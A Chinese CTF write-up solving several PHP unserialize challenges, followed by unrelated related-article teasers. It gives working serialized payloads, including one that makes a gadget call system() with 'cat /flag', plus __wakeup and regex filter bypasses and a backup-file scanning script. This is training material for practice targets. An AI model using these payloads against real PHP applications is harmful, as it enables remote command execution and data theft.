php反序列化刷题1

[SWPUCTF 2021 新生赛]ez_unserialize

查看源代码想到robots协议

看这个代码比较简单

直接让admin=admin passwd=ctf就行了

poc

<?php
class wllm
{public $admin;public $passwd;
}$p = new wllm();
$p->admin = "admin";
$p->passwd = "ctf";
echo serialize($p);;
?> 

payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[SWPUCTF 2022 新生赛]1z_unserialize

搞懂这个$a($this->lly);

关键语句

$a() 表示调用一个函数,函数名由变量 $a 的值确定。换句话说,$a 应该是一个存储函数名的变量。当你写 $b() 时,PHP 将尝试调用这个函数,并传递任何必要的参数。

     //例如,如果你有一个函数名存储在变量 $a 中,比如 $a = "myFunction";,然后你写 $a(),PHP 将尝试调用 myFunction() 这个函数。

而$a()括号里面的值应该是向函数传递的参数

这样我们让$a的值为命令执行函数 我们就可以成功的命令执行了

poc

class lyh
{public $url = 'NSSCTF.com';public $lt = 'system';public $lly = 'ls /';}$a = new lyh();echo serialize($a);

payload

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

wakeup()绕过

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

    漏洞影响范围
    PHP5 < 5.6.25
    PHP7 < 7.0.10

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

[SWPUCTF 2022 新生赛]ez_ez_unserialize

poc

class X
{public $x = 'fllllllag . php';
}$lcycb = new x();
echo serialize($lcycb);

payload:

x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

Web_php_unserialize攻防世界

这里就是要绕过这个正则

if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 

匹配到任意长度的数字 或者oc(类似数字)字符都会被过滤

绕过方式数字前加正号,如+4,正好不改变正数的值,却可以绕过检测

poc

class Demo{private $file = 'fl4g.php';public function __sleep(){return ['file'];}}$lcycb = new Demo();$lcycb = serialize($lcycb);echo $lcycb;$lcycb = str_replace('O:4', 'O:+4', $lcycb);$lcycb = str_replace('"Demo":1:', '"Demo":2:', $lcycb);echo $lcycb;echo base64_encode($lcycb);?>

payload

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

unserialize3攻防世界

poc

class xctf{
public $flag = '111';}
$lcycb = new xctf;
echo serialize($lcycb);

payload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

[极客大挑战 2019]PHP BUUCTF

用脚本扫一下备份

import requestsurl1 = 'http://dbd62227-e75f-44c3-8862-b369e671379e.node5.buuoj.cn:81/'		# url为被扫描地址,后不加‘/’# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']for i in list1:for j in list2:back = str(i) + '.' + str(j)url = str(url1) + '/' + backprint(back + '    ', end='')print(requests.get(url).status_code)

找到

include 'flag.php';error_reporting(0);class Name
{private $username = 'nonono';private $password = 'yesyes';public function __construct($username, $password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;} else {echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}

poc

include 'flag.php';error_reporting(0);class Name
{private $username = 'admin';private $password = '100';}
$lcycb = new Name();
echo serialize($lcycb);

payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/770651.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Dockerfile将jar部署成docker容器

将jar包copy到linux&#xff0c;新建Dockerfile文件 -rw-r--r-- 1 root root 52209844 Mar 25 22:55 data-sharing-0.0.1-SNAPSHOT.jar -rwxrwxrwx 1 root root 227 Mar 25 22:57 Dockerfile [rootlocalhost mnt]# pwd /mntDockerfile内容 # 指定基础镜像 FROM java:8-a…

极光笔记|极光消息推送服务的云原生实践

摘要 极光始终秉承“以开发者为中心”的战略导向&#xff0c;极光推送&#xff08;JPush&#xff09;是国内领先的消息推送服务。极光推送&#xff08;JPush&#xff09;本质上是一种软件付费应用程序&#xff0c;结合当前主流云厂商基础施设&#xff0c;逐渐演进成了云上SaaS…

Java后端设置服务器允许跨域

文章目录 1、实现2、一些问题关于各项请求头的作用关于预检请求 3、一些补充4、疑问点 1、实现 以下通过servlet的Filter给所有响应的header加了一些跨域相关的数据&#xff0c;以实现允许跨域。 import org.springframework.context.annotation.Configuration; import org.s…

数据可视化基础与应用-04-seaborn库从入门到精通01-02

总结 本系列是数据可视化基础与应用的第04篇seaborn&#xff0c;是seaborn从入门到精通系列第1-2篇。本系列的目的是可以完整的完成seaborn从入门到精通。主要介绍基于seaborn实现数据可视化。 参考 参考:数据可视化-seaborn seaborn从入门到精通01-seaborn介绍与load_datas…

RabbitMQ3.x之二_RabbitMQ所有端口说明及开启后台管理功能

RabbitMQ3.x之二_RabbitMQ所有端口说明及开启后台管理功能 文章目录 RabbitMQ3.x之二_RabbitMQ所有端口说明及开启后台管理功能1. RabbitMQ端口说明2. 开启Rabbitmq后台管理功能1. 查看rabbitmq已安装的插件2. 开启rabbitmq后台管理平台插件3. 开启插件后&#xff0c;再次查看插…

RSTP环路避免实验(华为)

思科设备参考&#xff1a;RSTP环路避免实验&#xff08;思科&#xff09; 一&#xff0c;技术简介 RSTP (Rapid Spanning Tree Protocol) 是从STP发展而来 • RSTP标准版本为IEEE802.1w • RSTP具备STP的所有功能&#xff0c;可以兼容STP运行 • RSTP和STP有所不同 减少了…

Tomcat下载安装以及配置

一、Tomcat介绍 二、Tomcat下载安装 进入tomcat官网&#xff0c;https://tomcat.apache.org/ 1、选择需要下载的版本&#xff0c;点击下载 下载路径一定要记住&#xff0c;并且路径中尽量不要有中文 8、9、10都可以&#xff0c;本博文以8为例 2、将下载后的安装包解压到指定位…

linux-开发板移植MQTT

将源码复制到共享文件夹 链接&#xff1a;https://pan.baidu.com/s/1kvvO-HhDMDXkQ_wlNtyW_A?pwd332i 提取码&#xff1a;332i 以下步骤教程里都写了&#xff0c;我这里边进行&#xff0c;方便大家对照 pc端 1.进入mqtt_lib, 解压open压缩包 2.按照教程复制这一句并运行&…

服务端应用多级缓存架构方案

服务端应用多级缓存架构方案 场景 20w的QPS的场景下&#xff0c;服务端架构应如何设计&#xff1f; 常规解决方案 可使用分布式缓存来抗&#xff0c;比如redis集群&#xff0c;6主6从&#xff0c;主提供读写&#xff0c;从作为备&#xff0c;不提供读写服务。1台平均抗3w并…

【算法专题--双指针算法】leecode-15.三数之和(medium)、leecode-18. 四数之和(medium)

&#x1f341;你好&#xff0c;我是 RO-BERRY &#x1f4d7; 致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 &#x1f384;感谢你的陪伴与支持 &#xff0c;故事既有了开头&#xff0c;就要画上一个完美的句号&#xff0c;让我们一起加油 目录 前言1. 三数之和2. 解法&…

选择最佳图像处理工具OpenCV、JAI、ImageJ、Thumbnailator和Graphics2D

文章目录 1、前言2、 图像处理工具效果对比2.1 Graphics2D实现2.2 Thumbnailator实现2.3 ImageJ实现2.4 JAI&#xff08;Java Advanced Imaging&#xff09;实现2.5 OpenCV实现 3、图像处理工具结果 1、前言 SVD(stable video diffusion)开放了图生视频的API&#xff0c;但是限…

使用GPT将文档生成问答对

根据文档生成问题列表 url https://api.openai.com/v1/chat/completions# 替换为您自己的API密钥 api_key sk-xxxxxxxxxmodel "gpt-3.5-turbo-16k"prompt1 #01 你是一个问答对数据集处理专家。 #02 你的任务是根据我给出的内容&#xff0c;生成适合作为问答对数…

Ubuntu deb文件 安装 MySQL

更新系统软件依赖 sudo apt update && sudo apt upgrade下载安装包 输入命令查看Ubuntu系统版本 lsb_release -a2. 网站下载对应版本的安装包 下载地址. 解压安装 mkdir /home/mysqlcd /home/mysqltar -xvf mysql-server_8.0.36-1ubuntu20.04_amd64.deb-bundle.tar# …

Elasticsearch性能优化:实战策略与最佳实践

-在数据密集型的应用场景中&#xff0c;Elasticsearch作为一个强大的搜索和分析引擎&#xff0c;能够提供快速的搜索能力和处理大规模数据的能力。然而&#xff0c;随着数据量的增长和查询需求的复杂化&#xff0c;对Elasticsearch的性能优化成为了维护高效、稳定服务的重要任务…

中间件学习

一、ES 场景&#xff1a;某头部互联⽹公司的好房业务&#xff0c;双⼗⼀前⼀天&#xff0c;维护楼盘的运营⼈员突然接到合作开发商的通知&#xff0c;需要上线⼀批热⻔的楼盘列表&#xff0c;上传完成后&#xff0c;C端⼩程序⽀持按楼盘的名称、户型、⾯积等产品属性全模糊搜索…

aardio - godking.json 【库】测试

godkong.json1 : 主要针对数值进行了处理。 1、内部创建了一个数值处理类&#xff0c;所有数值均以数值对象类型保存&#xff0c;以避免将数值识别为科学计数法文本。 2、读取数值成员时&#xff0c;需用 tostring() 转换为数值文本。 3、数值可以读取&#xff0c;可以赋值(数值…

Spring与Spring Boot:理解它们的区别与适用场景

引言 在Java开发领域&#xff0c;Spring和Spring Boot是两个非常重要的框架。它们被广泛应用于企业级应用开发、微服务架构构建等场景。尽管Spring Boot是Spring框架的一个扩展&#xff0c;但它们之间仍然存在一些重要区别。本文将详细介绍这些区别&#xff0c;帮助读者更好地…

【考研数学】张宇最新全年学习包

考研数学冲高分必备&#xff0c;张宇老师肯定榜上有名&#xff01; 考研数学&#xff0c;其实就像一场没有硝烟的战斗。基础题是常规武器&#xff0c;中难题就是重型火炮&#xff0c;而压轴题呢&#xff0c;那就是核弹级别的存在&#xff01;考研的战场&#xff0c;关键就在那…

【CSP考点回顾】二维前缀和数组(代码实现)

1. 初始化扩展的二维前缀和数组 创建一个大小为 (rows 1) x (cols 1) 的二维前缀和数组&#xff0c;其中 rows 和 cols 分别是原始数组的行数和列数。然后&#xff0c;我们按以下方式填充这个数组&#xff1a; void initPrefixSum(vector<vector<int>>& pr…

自动驾驶的几种名词

1. 自适应巡航控制&#xff08;ACC&#xff09; 自适应巡航控制&#xff08;Adaptive Cruise Control&#xff0c;ACC&#xff09;是一种汽车驾驶辅助系统&#xff0c;它可以根据前方车辆的速度和距离自动调整车辆的速度&#xff0c;以保持与前车的安全距离。ACC系统由控制层和…